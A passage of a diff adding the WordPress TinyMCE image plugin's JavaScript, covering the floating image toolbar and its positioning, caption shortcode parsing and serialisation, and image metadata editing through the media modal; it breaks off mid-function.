+		icon: 'dashicon dashicons-edit',
+		onclick: function() {
+			editImage( editor.selection.getNode() );
+		}
+	} );
+
+	each( {
+		alignleft: 'Align left',
+		aligncenter: 'Align center',
+		alignright: 'Align right',
+		alignnone: 'No alignment'
+	}, function( tooltip, name ) {
+		var direction = name.slice( 5 );
+
+		editor.addButton( 'wp_img_' + name, {
+			tooltip: tooltip,
+			icon: 'dashicon dashicons-align-' + direction,
+			cmd: 'alignnone' === name ? 'wpAlignNone' : 'Justify' + direction.slice( 0, 1 ).toUpperCase() + direction.slice( 1 ),
+			onPostRender: function() {
+				var self = this;
+
+				editor.on( 'NodeChange', function( event ) {
+					var node;
+
+					// Don't bother.
+					if ( event.element.nodeName !== 'IMG' ) {
+						return;
+					}
+
+					node = editor.dom.getParent( event.element, '.wp-caption' ) || event.element;
+
+					if ( 'alignnone' === name ) {
+						self.active( ! /\balign(left|center|right)\b/.test( node.className ) );
+					} else {
+						self.active( editor.dom.hasClass( node, name ) );
+					}
+				} );
+			}
+		} );
+	} );
+
+	function toolbarConfig() {
+		var toolbarItems = [],
+			buttonGroup;
+
+		each( [ 'wp_img_alignleft', 'wp_img_aligncenter', 'wp_img_alignright', 'wp_img_alignnone', 'wp_img_edit', 'wp_img_remove' ], function( item ) {
+			var itemName;
+
+			function bindSelectorChanged() {
+				var selection = editor.selection;
+
+				if ( item.settings.stateSelector ) {
+					selection.selectorChanged( item.settings.stateSelector, function( state ) {
+						item.active( state );
+					}, true );
+				}
+
+				if ( item.settings.disabledStateSelector ) {
+					selection.selectorChanged( item.settings.disabledStateSelector, function( state ) {
+						item.disabled( state );
+					} );
+				}
+			}
+
+			if ( item === '|' ) {
+				buttonGroup = null;
+			} else {
+				if ( Factory.has( item ) ) {
+					item = {
+						type: item
+					};
+
+					if ( settings.toolbar_items_size ) {
+						item.size = settings.toolbar_items_size;
+					}
+
+					toolbarItems.push( item );
+
+					buttonGroup = null;
+				} else {
+					if ( ! buttonGroup ) {
+						buttonGroup = {
+							type: 'buttongroup',
+							items: []
+						};
+
+						toolbarItems.push( buttonGroup );
+					}
+
+					if ( editor.buttons[ item ] ) {
+						itemName = item;
+						item = editor.buttons[ itemName ];
+
+						if ( typeof item === 'function' ) {
+							item = item();
+						}
+
+						item.type = item.type || 'button';
+
+						if ( settings.toolbar_items_size ) {
+							item.size = settings.toolbar_items_size;
+						}
+
+						item = Factory.create( item );
+						buttonGroup.items.push( item );
+
+						if ( editor.initialized ) {
+							bindSelectorChanged();
+						} else {
+							editor.on( 'init', bindSelectorChanged );
+						}
+					}
+				}
+			}
+		} );
+
+		return {
+			type: 'panel',
+			layout: 'stack',
+			classes: 'toolbar-grp inline-toolbar-grp wp-image-toolbar',
+			ariaRoot: true,
+			ariaRemember: true,
+			items: [
+				{
+					type: 'toolbar',
+					layout: 'flow',
+					items: toolbarItems
+				}
+			]
+		};
+	}
+
+	floatingToolbar = Factory.create( toolbarConfig() ).renderTo( document.body ).hide();
+
+	floatingToolbar.reposition = function() {
+		var top, left, minTop, className,
+			windowPos, adminbar, mceToolbar, boundary,
+			boundaryMiddle, boundaryVerticalMiddle, spaceTop,
+			spaceBottom, windowWidth, toolbarWidth, toolbarHalf,
+			iframe, iframePos, iframeWidth, iframeHeigth,
+			toolbarNodeHeight, verticalSpaceNeeded,
+			toolbarNode = this.getEl(),
+			buffer = 5,
+			margin = 8,
+			adminbarHeight = 0,
+			imageNode = editor.selection.getNode();
+
+		if ( ! imageNode || imageNode.nodeName !== 'IMG' ) {
+			return this;
+		}
+
+		windowPos = window.pageYOffset || document.documentElement.scrollTop;
+		adminbar = tinymce.$( '#wpadminbar' )[0];
+		mceToolbar = tinymce.$( '.mce-tinymce .mce-toolbar-grp' )[0];
+		boundary = imageNode.getBoundingClientRect();
+		boundaryMiddle = ( boundary.left + boundary.right ) / 2;
+		boundaryVerticalMiddle = ( boundary.top + boundary.bottom ) / 2;
+		spaceTop = boundary.top;
+		spaceBottom = iframeHeigth - boundary.bottom;
+		windowWidth = window.innerWidth;
+		toolbarWidth = toolbarNode.offsetWidth;
+		toolbarHalf = toolbarWidth / 2;
+		iframe = document.getElementById( editor.id + '_ifr' );
+		iframePos = DOM.getPos( iframe );
+		iframeWidth = iframe.offsetWidth;
+		iframeHeigth = iframe.offsetHeight;
+		toolbarNodeHeight = toolbarNode.offsetHeight;
+		verticalSpaceNeeded = toolbarNodeHeight + margin + buffer;
+
+		if ( iOS ) {
+			top = boundary.top + iframePos.y + margin;
+		} else {
+			if ( spaceTop >= verticalSpaceNeeded ) {
+				className = ' mce-arrow-down';
+				top = boundary.top + iframePos.y - toolbarNodeHeight - margin;
+			} else if ( spaceBottom >= verticalSpaceNeeded ) {
+				className = ' mce-arrow-up';
+				top = boundary.bottom + iframePos.y;
+			} else {
+				top = buffer;
+
+				if ( boundaryVerticalMiddle >= verticalSpaceNeeded ) {
+					className = ' mce-arrow-down';
+				} else {
+					className = ' mce-arrow-up';
+				}
+			}
+		}
+
+		// Make sure the image toolbar is below the main toolbar.
+		if ( mceToolbar ) {
+			minTop = DOM.getPos( mceToolbar ).y + mceToolbar.clientHeight;
+		} else {
+			minTop = iframePos.y;
+		}
+
+		// Make sure the image toolbar is below the adminbar (if visible) or below the top of the window.
+		if ( windowPos ) {
+			if ( adminbar && adminbar.getBoundingClientRect().top === 0 ) {
+				adminbarHeight = adminbar.clientHeight;
+			}
+
+			if ( windowPos + adminbarHeight > minTop ) {
+				minTop = windowPos + adminbarHeight;
+			}
+		}
+
+		if ( top && minTop && ( minTop + buffer > top ) ) {
+			top = minTop + buffer;
+			className = '';
+		}
+
+		left = boundaryMiddle - toolbarHalf;
+		left += iframePos.x;
+
+		if ( boundary.left < 0 || boundary.right > iframeWidth ) {
+			left = iframePos.x + ( iframeWidth - toolbarWidth ) / 2;
+		} else if ( toolbarWidth >= windowWidth ) {
+			className += ' mce-arrow-full';
+			left = 0;
+		} else if ( ( left < 0 && boundary.left + toolbarWidth > windowWidth ) ||
+			( left + toolbarWidth > windowWidth && boundary.right - toolbarWidth < 0 ) ) {
+
+			left = ( windowWidth - toolbarWidth ) / 2;
+		} else if ( left < iframePos.x ) {
+			className += ' mce-arrow-left';
+			left = boundary.left + iframePos.x;
+		} else if ( left + toolbarWidth > iframeWidth + iframePos.x ) {
+			className += ' mce-arrow-right';
+			left = boundary.right - toolbarWidth + iframePos.x;
+		}
+
+		if ( ! iOS ) {
+			toolbarNode.className = toolbarNode.className.replace( / ?mce-arrow-[\w]+/g, '' );
+			toolbarNode.className += className;
+		}
+
+		DOM.setStyles( toolbarNode, { 'left': left, 'top': top } );
+
+		return this;
+	};
+
+	if ( iOS ) {
+		// Safari on iOS fails to select image nodes in contentEditoble mode on touch/click.
+		// Select them again.
+		editor.on( 'click', function( event ) {
+			if ( event.target.nodeName === 'IMG' ) {
+				var node = event.target;
+
+				window.setTimeout( function() {
+					editor.selection.select( node );
+				}, 200 );
+			} else {
+				floatingToolbar.hide();
+			}
+		});
+	}
+
+	editor.on( 'nodechange', function( event ) {
+		var delay = iOS ? 350 : 100;
+
+		if ( event.element.nodeName !== 'IMG' || isPlaceholder( event.element ) ) {
+			floatingToolbar.hide();
+			return;
+		}
+
+		setTimeout( function() {
+			var element = editor.selection.getNode();
+
+			if ( element.nodeName === 'IMG' && ! isPlaceholder( element ) ) {
+				if ( floatingToolbar._visible ) {
+					floatingToolbar.reposition();
+				} else {
+					floatingToolbar.show();
+				}
+			} else {
+				floatingToolbar.hide();
+			}
+		}, delay );
+	} );
+
+	function hide() {
+		if ( ! toolbarIsHidden ) {
+			floatingToolbar.hide();
+		}
+	}
+
+	floatingToolbar.on( 'show', function() {
+		toolbarIsHidden = false;
+
+		if ( this._visible ) {
+			this.reposition();
+			DOM.addClass( this.getEl(), 'mce-inline-toolbar-grp-active' );
+		}
+	} );
+
+	floatingToolbar.on( 'hide', function() {
+		toolbarIsHidden = true;
+		DOM.removeClass( this.getEl(), 'mce-inline-toolbar-grp-active' );
+	} );
+
+	floatingToolbar.on( 'keydown', function( event ) {
+		if ( event.keyCode === 27 ) {
+			hide();
+			editor.focus();
+		}
+	} );
+
+	DOM.bind( window, 'resize scroll', function() {
+		if ( ! toolbarIsHidden && editorWrapParent.hasClass( 'wp-editor-expand' ) ) {
+			hide();
+		}
+	});
+
+	editor.on( 'init', function() {
+		editor.dom.bind( editor.getWin(), 'scroll', hide );
+	});
+
+	editor.on( 'blur hide', hide );
+
+	// 119 = F8
+	editor.shortcuts.add( 'Alt+119', '', function() {
+		var node = floatingToolbar.find( 'toolbar' )[0];
+
+		if ( node ) {
+			node.focus( true );
+		}
+	});
+
+	function parseShortcode( content ) {
+		return content.replace( /(?:<p>)?\[(?:wp_)?caption([^\]]+)\]([\s\S]+?)\[\/(?:wp_)?caption\](?:<\/p>)?/g, function( a, b, c ) {
+			var id, align, classes, caption, img, width,
+				trim = tinymce.trim;
+
+			id = b.match( /id=['"]([^'"]*)['"] ?/ );
+			if ( id ) {
+				b = b.replace( id[0], '' );
+			}
+
+			align = b.match( /align=['"]([^'"]*)['"] ?/ );
+			if ( align ) {
+				b = b.replace( align[0], '' );
+			}
+
+			classes = b.match( /class=['"]([^'"]*)['"] ?/ );
+			if ( classes ) {
+				b = b.replace( classes[0], '' );
+			}
+
+			width = b.match( /width=['"]([0-9]*)['"] ?/ );
+			if ( width ) {
+				b = b.replace( width[0], '' );
+			}
+
+			c = trim( c );
+			img = c.match( /((?:<a [^>]+>)?<img [^>]+>(?:<\/a>)?)([\s\S]*)/i );
+
+			if ( img && img[2] ) {
+				caption = trim( img[2] );
+				img = trim( img[1] );
+			} else {
+				// old captions shortcode style
+				caption = trim( b ).replace( /caption=['"]/, '' ).replace( /['"]$/, '' );
+				img = c;
+			}
+
+			id = ( id && id[1] ) ? id[1].replace( /[<>&]+/g,  '' ) : '';
+			align = ( align && align[1] ) ? align[1] : 'alignnone';
+			classes = ( classes && classes[1] ) ? ' ' + classes[1].replace( /[<>&]+/g,  '' ) : '';
+
+			if ( ! width && img ) {
+				width = img.match( /width=['"]([0-9]*)['"]/ );
+			}
+
+			if ( width && width[1] ) {
+				width = width[1];
+			}
+
+			if ( ! width || ! caption ) {
+				return c;
+			}
+
+			width = parseInt( width, 10 );
+			if ( ! editor.getParam( 'wpeditimage_html5_captions' ) ) {
+				width += 10;
+			}
+
+			return '<div class="mceTemp"><dl id="' + id + '" class="wp-caption ' + align + classes + '" style="width: ' + width + 'px">' +
+				'<dt class="wp-caption-dt">'+ img +'</dt><dd class="wp-caption-dd">'+ caption +'</dd></dl></div>';
+		});
+	}
+
+	function getShortcode( content ) {
+		return content.replace( /<div (?:id="attachment_|class="mceTemp)[^>]*>([\s\S]+?)<\/div>/g, function( a, b ) {
+			var out = '';
+
+			if ( b.indexOf('<img ') === -1 ) {
+				// Broken caption. The user managed to drag the image out?
+				// Try to return the caption text as a paragraph.
+				out = b.match( /<dd [^>]+>([\s\S]+?)<\/dd>/i );
+
+				if ( out && out[1] ) {
+					return '<p>' + out[1] + '</p>';
+				}
+
+				return '';
+			}
+
+			out = b.replace( /\s*<dl ([^>]+)>\s*<dt [^>]+>([\s\S]+?)<\/dt>\s*<dd [^>]+>([\s\S]*?)<\/dd>\s*<\/dl>\s*/gi, function( a, b, c, caption ) {
+				var id, classes, align, width;
+
+				width = c.match( /width="([0-9]*)"/ );
+				width = ( width && width[1] ) ? width[1] : '';
+
+				if ( ! width || ! caption ) {
+					return c;
+				}
+
+				id = b.match( /id="([^"]*)"/ );
+				id = ( id && id[1] ) ? id[1] : '';
+
+				classes = b.match( /class="([^"]*)"/ );
+				classes = ( classes && classes[1] ) ? classes[1] : '';
+
+				align = classes.match( /align[a-z]+/i ) || 'alignnone';
+				classes = classes.replace( /wp-caption ?|align[a-z]+ ?/gi, '' );
+
+				if ( classes ) {
+					classes = ' class="' + classes + '"';
+				}
+
+				caption = caption.replace( /\r\n|\r/g, '\n' ).replace( /<[a-zA-Z0-9]+( [^<>]+)?>/g, function( a ) {
+					// no line breaks inside HTML tags
+					return a.replace( /[\r\n\t]+/, ' ' );
+				});
+
+				// convert remaining line breaks to <br>
+				caption = caption.replace( /\s*\n\s*/g, '<br />' );
+
+				return '[caption id="' + id + '" align="' + align + '" width="' + width + '"' + classes + ']' + c + ' ' + caption + '[/caption]';
+			});
+
+			if ( out.indexOf('[caption') === -1 ) {
+				// the caption html seems broken, try to find the image that may be wrapped in a link
+				// and may be followed by <p> with the caption text.
+				out = b.replace( /[\s\S]*?((?:<a [^>]+>)?<img [^>]+>(?:<\/a>)?)(<p>[\s\S]*<\/p>)?[\s\S]*/gi, '<p>$1</p>$2' );
+			}
+
+			return out;
+		});
+	}
+
+	function extractImageData( imageNode ) {
+		var classes, extraClasses, metadata, captionBlock, caption, link, width, height,
+			captionClassName = [],
+			dom = editor.dom,
+			isIntRegExp = /^\d+$/;
+
+		// default attributes
+		metadata = {
+			attachment_id: false,
+			size: 'custom',
+			caption: '',
+			align: 'none',
+			extraClasses: '',
+			link: false,
+			linkUrl: '',
+			linkClassName: '',
+			linkTargetBlank: false,
+			linkRel: '',
+			title: ''
+		};
+
+		metadata.url = dom.getAttrib( imageNode, 'src' );
+		metadata.alt = dom.getAttrib( imageNode, 'alt' );
+		metadata.title = dom.getAttrib( imageNode, 'title' );
+
+		width = dom.getAttrib( imageNode, 'width' );
+		height = dom.getAttrib( imageNode, 'height' );
+
+		if ( ! isIntRegExp.test( width ) || parseInt( width, 10 ) < 1 ) {
+			width = imageNode.naturalWidth || imageNode.width;
+		}
+
+		if ( ! isIntRegExp.test( height ) || parseInt( height, 10 ) < 1 ) {
+			height = imageNode.naturalHeight || imageNode.height;
+		}
+
+		metadata.customWidth = metadata.width = width;
+		metadata.customHeight = metadata.height = height;
+
+		classes = tinymce.explode( imageNode.className, ' ' );
+		extraClasses = [];
+
+		tinymce.each( classes, function( name ) {
+
+			if ( /^wp-image/.test( name ) ) {
+				metadata.attachment_id = parseInt( name.replace( 'wp-image-', '' ), 10 );
+			} else if ( /^align/.test( name ) ) {
+				metadata.align = name.replace( 'align', '' );
+			} else if ( /^size/.test( name ) ) {
+				metadata.size = name.replace( 'size-', '' );
+			} else {
+				extraClasses.push( name );
+			}
+
+		} );
+
+		metadata.extraClasses = extraClasses.join( ' ' );
+
+		// Extract caption
+		captionBlock = dom.getParents( imageNode, '.wp-caption' );
+
+		if ( captionBlock.length ) {
+			captionBlock = captionBlock[0];
+
+			classes = captionBlock.className.split( ' ' );
+			tinymce.each( classes, function( name ) {
+				if ( /^align/.test( name ) ) {
+					metadata.align = name.replace( 'align', '' );
+				} else if ( name && name !== 'wp-caption' ) {
+					captionClassName.push( name );
+				}
+			} );
+
+			metadata.captionClassName = captionClassName.join( ' ' );
+
+			caption = dom.select( 'dd.wp-caption-dd', captionBlock );
+			if ( caption.length ) {
+				caption = caption[0];
+
+				metadata.caption = editor.serializer.serialize( caption )
+					.replace( /<br[^>]*>/g, '$&\n' ).replace( /^<p>/, '' ).replace( /<\/p>$/, '' );
+			}
+		}
+
+		// Extract linkTo
+		if ( imageNode.parentNode && imageNode.parentNode.nodeName === 'A' ) {
+			link = imageNode.parentNode;
+			metadata.linkUrl = dom.getAttrib( link, 'href' );
+			metadata.linkTargetBlank = dom.getAttrib( link, 'target' ) === '_blank' ? true : false;
+			metadata.linkRel = dom.getAttrib( link, 'rel' );
+			metadata.linkClassName = link.className;
+		}
+
+		return metadata;
+	}
+
+	function hasTextContent( node ) {
+		return node && !! ( node.textContent || node.innerText );
+	}
+
+	// Verify HTML in captions
+	function verifyHTML( caption ) {
+		if ( ! caption || ( caption.indexOf( '<' ) === -1 && caption.indexOf( '>' ) === -1 ) ) {
+			return caption;
+		}
+
+		if ( ! serializer ) {
+			serializer = new tinymce.html.Serializer( {}, editor.schema );
+		}
+
+		return serializer.serialize( editor.parser.parse( caption, { forced_root_block: false } ) );
+	}
+
+	function updateImage( imageNode, imageData ) {
+		var classes, className, node, html, parent, wrap, linkNode,
+			captionNode, dd, dl, id, attrs, linkAttrs, width, height, align,
+			dom = editor.dom;
+
+		classes = tinymce.explode( imageData.extraClasses, ' ' );
+
+		if ( ! classes ) {
+			classes = [];
+		}
+
+		if ( ! imageData.caption ) {
+			classes.push( 'align' + imageData.align );
+		}
+
+		if ( imageData.attachment_id ) {
+			classes.push( 'wp-image-' + imageData.attachment_id );
+			if ( imageData.size && imageData.size !== 'custom' ) {
+				classes.push( 'size-' + imageData.size );
+			}
+		}
+
+		width = imageData.width;
+		height = imageData.height;
+
+		if ( imageData.size === 'custom' ) {
+			width = imageData.customWidth;
+			height = imageData.customHeight;
+		}
+
+		attrs = {
+			src: imageData.url,
+			width: width || null,
+			height: height || null,
+			alt: imageData.alt,
+			title: imageData.title || null,
+			'class': classes.join( ' ' ) || null
+		};
+
+		dom.setAttribs( imageNode, attrs );
+
+		linkAttrs = {
+			href: imageData.linkUrl,
+			rel: imageData.linkRel || null,
+			target: imageData.linkTargetBlank ? '_blank': null,
+			'class': imageData.linkClassName || null
+		};
+
+		if ( imageNode.parentNode && imageNode.parentNode.nodeName === 'A' && ! hasTextContent( imageNode.parentNode ) ) {
+			// Update or remove an existing link wrapped around the image
+			if ( imageData.linkUrl ) {
+				dom.setAttribs( imageNode.parentNode, linkAttrs );
+			} else {
+				dom.remove( imageNode.parentNode, true );
+			}
+		} else if ( imageData.linkUrl ) {
+			if ( linkNode = dom.getParent( imageNode, 'a' ) ) {
+				// The image is inside a link together with other nodes,
+				// or is nested in another node, move it out
+				dom.insertAfter( imageNode, linkNode );
+			}
+
+			// Add link wrapped around the image
+			linkNode = dom.create( 'a', linkAttrs );
+			imageNode.parentNode.insertBefore( linkNode, imageNode );
+			linkNode.appendChild( imageNode );
+		}
+
+		captionNode = editor.dom.getParent( imageNode, '.mceTemp' );
+
+		if ( imageNode.parentNode && imageNode.parentNode.nodeName === 'A' && ! hasTextContent( imageNode.parentNode ) ) {
+			node = imageNode.parentNode;
+		} else {
+			node = imageNode;
+		}
+
+		if ( imageData.caption ) {
+			imageData.caption = verifyHTML( imageData.caption );
+
+			id = imageData.attachment_id ? 'attachment_' + imageData.attachment_id : null;
+			align = 'align' + ( imageData.align || 'none' );
+			className = 'wp-caption ' + align;
+
+			if ( imageData.captionClassName ) {
+				className += ' ' + imageData.captionClassName.replace( /[<>&]+/g,  '' );
+			}
+
+			if ( ! editor.getParam( 'wpeditimage_html5_captions' ) ) {
+				width = parseInt( width, 10 );
+				width += 10;
+			}
+
+			if ( captionNode ) {
+				dl = dom.select( 'dl.wp-caption', captionNode );
+
+				if ( dl.length ) {
+					dom.setAttribs( dl, {
+						id: id,
+						'class': className,
+						style: 'width: ' + width + 'px'
+					} );
+				}
+
+				dd = dom.select( '.wp-caption-dd', captionNode );
+
+				if ( dd.length ) {
+					dom.setHTML( dd[0], imageData.caption );
+				}
+
+			} else {
+				id = id ? 'id="'+ id +'" ' : '';
+
+				// should create a new function for generating the caption markup
+				html =  '<dl ' + id + 'class="' + className +'" style="width: '+ width +'px">' +
+					'<dt class="wp-caption-dt"></dt><dd class="wp-caption-dd">'+ imageData.caption +'</dd></dl>';
+
+				wrap = dom.create( 'div', { 'class': 'mceTemp' }, html );
+
+				if ( parent = dom.getParent( node, 'p' ) ) {
+					parent.parentNode.insertBefore( wrap, parent );
+
+					if ( dom.isEmpty( parent ) ) {
+						dom.remove( parent );
+					}
+				} else {
+					node.parentNode.insertBefore( wrap, node );
+				}
+
+				editor.$( wrap ).find( 'dt.wp-caption-dt' ).append( node );
+			}
+		} else if ( captionNode ) {
+			// Remove the caption wrapper and place the image in new paragraph
+			parent = dom.create( 'p' );
+			captionNode.parentNode.insertBefore( parent, captionNode );
+			parent.appendChild( node );
+			dom.remove( captionNode );
+		}
+
+		if ( wp.media.events ) {
+			wp.media.events.trigger( 'editor:image-update', {
+				editor: editor,
+				metadata: imageData,
+				image: imageNode
+			} );
+		}
+
+		editor.nodeChanged();
+	}
+
+	function editImage( img ) {
+		var frame, callback, metadata;
+
+		if ( typeof wp === 'undefined' || ! wp.media ) {
+			editor.execCommand( 'mceImage' );
+			return;
+		}
+
+		metadata = extractImageData( img );
+
+		// Manipulate the metadata by reference that is fed into the PostImage model used in the media modal
+		wp.media.events.trigger( 'editor:image-edit', {
+			editor: editor,
+			metadata: metadata,
+			image: img
+		} );
+
+		frame = wp.media({
+			frame: 'image',
+			state: 'image-details',
+			metadata: metadata
+		} );
+
+		wp.media.events.trigger( 'editor:frame-create', { frame: frame } );
+
+		callback = function( imageData ) {
+			editor.focus();
+			editor.undoManager.transact( function() {
+				updateImage( img, imageData );
+			} );
+			frame.detach();
+		};
+
+		frame.state('image-details').on( 'update', callback );
+		frame.state('replace-image').on( 'replace', callback );
+		frame.on( 'close', function() {
+			editor.focus();
+			frame.detach();
+		});
+
+		frame.open();
+	}
+
+	function removeImage( node ) {
+		var wrap;
+
+		if ( node.nodeName === 'DIV' && editor.dom.hasClass( node, 'mceTemp' ) ) {
+			wrap = node;
+		} else if ( node.nodeName === 'IMG' || node.nodeName === 'DT' || node.nodeName === 'A' ) {
+			wrap = editor.dom.getParent( node, 'div.mceTemp' );
+		}
+
+		if ( wrap ) {
+			if ( wrap.nextSibling ) {
+				editor.selection.select( wrap.nextSibling );
+			} else if ( wrap.previousSibling ) {
+				editor.selection.select( wrap.previousSibling );
+			} else {
+				editor.selection.select( wrap.parentNode );
+			}
+
+			editor.selection.collapse( true );
+			editor.dom.remove( wrap );
+		} else {
+			editor.dom.remove( node );
+		}
+
+		editor.nodeChanged();
+		editor.undoManager.add();
+	}
+
+	editor.on( 'init', function() {
+		var dom = editor.dom,
+			captionClass = editor.getParam( 'wpeditimage_html5_captions' ) ? 'html5-captions' : 'html4-captions';
+
+		dom.addClass( editor.getBody(), captionClass );
+
+		// Add caption field to the default image dialog
+		editor.on( 'wpLoadImageForm', function( event ) {
+			if ( editor.getParam( 'wpeditimage_disable_captions' ) ) {
+				return;
+			}
+
+			var captionField = {
+				type: 'textbox',
+				flex: 1,
+				name: 'caption',
+				minHeight: 60,
+				multiline: true,
+				scroll: true,
+				label: 'Image caption'
+			};
+
+			event.data.splice( event.data.length - 1, 0, captionField );
+		});
+
+		// Fix caption parent width for images added from URL
+		editor.on( 'wpNewImageRefresh', function( event ) {
+			var parent, captionWidth;
+
+			if ( parent = dom.getParent( event.node, 'dl.wp-caption' ) ) {
+				if ( ! parent.style.width ) {
+					captionWidth = parseInt( event.node.clientWidth, 10 ) + 10;
+					captionWidth = captionWidth ? captionWidth + 'px' : '50%';
+					dom.setStyle( parent, 'width', captionWidth );
+				}
+			}
+		});
+
+		editor.on( 'wpImageFormSubmit', function( event ) {
+			var data = event.imgData.data,
+				imgNode = event.imgData.node,
+				caption = event.imgData.caption,
+				captionId = '',
+				captionAlign = '',
+				captionWidth = '',
+				wrap, parent, node, html, imgId;
+
+			// Temp image id so we can find the node later
+			data.id = '__wp-temp-img-id';
+			// Cancel the original callback
+			event.imgData.cancel = true;
+
+			if ( ! data.style ) {
+				data.style = null;
+			}
+
+			if ( ! data.src ) {
+				// Delete the image and the caption
+				if ( imgNode ) {
+					if ( wrap = dom.getParent( imgNode, 'div.mceTemp' ) ) {
+						dom.remove( wrap );
+					} else if ( imgNode.parentNode.nodeName === 'A' ) {
+						dom.remove( imgNode.parentNode );
+					} else {
+						dom.remove( imgNode );
+					}
+
+					editor.nodeChanged();
+				}
+				return;
+			}
+
+			if ( caption ) {
+				caption = caption.replace( /\r\n|\r/g, '\n' ).replace( /<\/?[a-zA-Z0-9]+( [^<>]+)?>/g, function( a ) {
+					// No line breaks inside HTML tags
+					return a.replace( /[\r\n\t]+/, ' ' );
+				});
+
+				// Convert remaining line breaks to <br>
+				caption = caption.replace( /(<br[^>]*>)\s*\n\s*/g, '$1' ).replace( /\s*\n\s*/g, '<br />' );
+				caption = verifyHTML( caption );
+			}
+
+			if ( ! imgNode ) {
+				// New image inserted
+				html = dom.createHTML( 'img', data );
+
+				if ( caption ) {
+					node = editor.selection.getNode();
+
+					if ( data.width ) {
+						captionWidth = parseInt( data.width, 10 );
+
+						if ( ! editor.getParam( 'wpeditimage_html5_captions' ) ) {
+							captionWidth += 10;
+						}
+
+						captionWidth = ' style="width: ' + captionWidth + 'px"';
+					}
+
+					html = '<dl class="wp-caption alignnone"' + captionWidth + '>' +
+						'<dt class="wp-caption-dt">'+ html +'</dt><dd class="wp-caption-dd">'+ caption +'</dd></dl>';
+
+					if ( node.nodeName === 'P' ) {
+						parent = node;
+					} else {
+						parent = dom.getParent( node, 'p' );
+					}
+
+					if ( parent && parent.nodeName === 'P' ) {
+						wrap = dom.create( 'div', { 'class': 'mceTemp' }, html );
+						parent.parentNode.insertBefore( wrap, parent );
+						editor.selection.select( wrap );
+						editor.nodeChanged();
+
+						if ( dom.isEmpty( parent ) ) {
+							dom.remove( parent );
+						}
+					} else {
+						editor.selection.setContent( '<div class="mceTemp">' + html + '</div>' );
+					}
+				} else {
+					editor.selection.setContent( html );
+				}
+			} else {
+				// Edit existing image
+
+				// Store the original image id if any
+				imgId = imgNode.id || null;
+				// Update the image node
+				dom.setAttribs( imgNode, data );
+				wrap = dom.getParent( imgNode, 'dl.wp-caption' );
+
+				if ( caption ) {
+					if ( wrap ) {
+						if ( parent = dom.select( 'dd.wp-caption-dd', wrap )[0] ) {
+							parent.innerHTML = caption;
+						}
+					} else {
+						if ( imgNode.className ) {
+							captionId = imgNode.className.match( /wp-image-([0-9]+)/ );
+							captionAlign = imgNode.className.match( /align(left|right|center|none)/ );
+						}
+
+						if ( captionAlign ) {
+							captionAlign = captionAlign[0];
+							imgNode.className = imgNode.className.replace( /align(left|right|center|none)/g, '' );
+						} else {
+							captionAlign = 'alignnone';
+						}
+
+						captionAlign = ' class="wp-caption ' + captionAlign + '"';
+
+						if ( captionId ) {
+							captionId = ' id="attachment_' + captionId[1] + '"';
+						}
+
+						captionWidth = data.width || imgNode.clientWidth;
+
+						if ( captionWidth ) {
+							captionWidth = parseInt( captionWidth, 10 );
+
+							if ( ! editor.getParam( 'wpeditimage_html5_captions' ) ) {
+								captionWidth += 10;
+							}
+
+							captionWidth = ' style="width: '+ captionWidth +'px"';
+						}
+
+						if ( imgNode.parentNode && imgNode.parentNode.nodeName === 'A' ) {
+							node = imgNode.parentNode;
+						} else {
+							node = imgNode;
+						}
+
+						html = '<dl ' + captionId + captionAlign + captionWidth + '>' +
+							'<dt class="wp-caption-dt"></dt><dd class="wp-caption-dd">'+ caption +'</dd></dl>';
+
+						wrap = dom.create( 'div', { 'class': 'mceTemp' }, html );
+
+						if ( parent = dom.getParent( node, 'p' ) ) {
+							parent.parentNode.insertBefore( wrap, parent );
+
+							if ( dom.isEmpty( parent ) ) {
+								dom.remove( parent );
+							}
+						} else {
+							node.parentNode.insertBefore( wrap, node );
+						}
+
+						editor.$( wrap ).find( 'dt.wp-caption-dt' ).append( node );
+					}
+				} else {
+					if ( wrap ) {
+						// Remove the caption wrapper and place the image in new paragraph
+						if ( imgNode.parentNode.nodeName === 'A' ) {
+							html = dom.getOuterHTML( imgNode.parentNode );
+						} else {
+							html = dom.getOuterHTML( imgNode );
+						}
+
+						parent = dom.create( 'p', {}, html );
+						dom.insertAfter( parent, wrap.parentNode );
+						editor.selection.select( parent );
+						editor.nodeChanged();
+						dom.remove( wrap.parentNode );
+					}
+				}
+			}
+
+			imgNode = dom.get('__wp-temp-img-id');
+			dom.setAttrib( imgNode, 'id', imgId );
+			event.imgData.node = imgNode;
+		});
+
+		editor.on( 'wpLoadImageData', function( event ) {
+			var parent,
+				data = event.imgData.data,
+				imgNode = event.imgData.node;
+
+			if ( parent = dom.getParent( imgNode, 'dl.wp-caption' ) ) {
+				parent = dom.select( 'dd.wp-caption-dd', parent )[0];
+
+				if ( parent ) {
+					data.caption = editor.serializer.serialize( parent )
+						.replace( /<br[^>]*>/g, '$&\n' ).replace( /^<p>/, '' ).replace( /<\/p>$/, '' );
+				}
+			}
+		});
+
+		dom.bind( editor.getDoc(), 'dragstart', function( event ) {
+			var node = editor.selection.getNode();
+
+			// Prevent dragging images out of the caption elements
+			if ( node.nodeName === 'IMG' && dom.getParent( node, '.wp-caption' ) ) {
+				event.preventDefault();
+			}
+		});
+
+		// Prevent IE11 from making dl.wp-caption resizable
+		if ( tinymce.Env.ie && tinymce.Env.ie > 10 ) {
+			// The 'mscontrolselect' event is supported only in IE11+
+			dom.bind( editor.getBody(), 'mscontrolselect', function( event ) {
+				if ( event.target.nodeName === 'IMG' && dom.getParent( event.target, '.wp-caption' ) ) {
+					// Hide the thick border with resize handles around dl.wp-caption
+					editor.getBody().focus(); // :(
+				} else if ( event.target.nodeName === 'DL' && dom.hasClass( event.target, 'wp-caption' ) ) {
+					// Trigger the thick border with resize handles...
+					// This will make the caption text editable.
+					event.target.focus();
+				}
+			});
+		}
+	});
+
+	editor.on( 'ObjectResized', function( event ) {
+		var node = event.target;
+
+		if ( node.nodeName === 'IMG' ) {
+			editor.undoManager.transact( function() {
+				var parent, width,
+					dom = editor.dom;
+
+				node.className = node.className.replace( /\bsize-[^ ]+/, '' );
+
+				if ( parent = dom.getParent( node, '.wp-caption' ) ) {
+					width = event.width || dom.getAttrib( node, 'width' );
+
+					if ( width ) {
+						width = parseInt( width, 10 );
+
+						if ( ! editor.getParam( 'wpeditimage_html5_captions' ) ) {
+							width += 10;
+						}
+
+						dom.setStyle( parent, 'width', width + 'px' );
+					}
+				}
+			});
+		}
+    });
+
+	editor.on( 'BeforeExecCommand', function( event ) {
+		var node, p, DL, align, replacement,
+			cmd = event.command,
+			dom = editor.dom;
+
+		if ( cmd === 'mceInsertContent' ) {
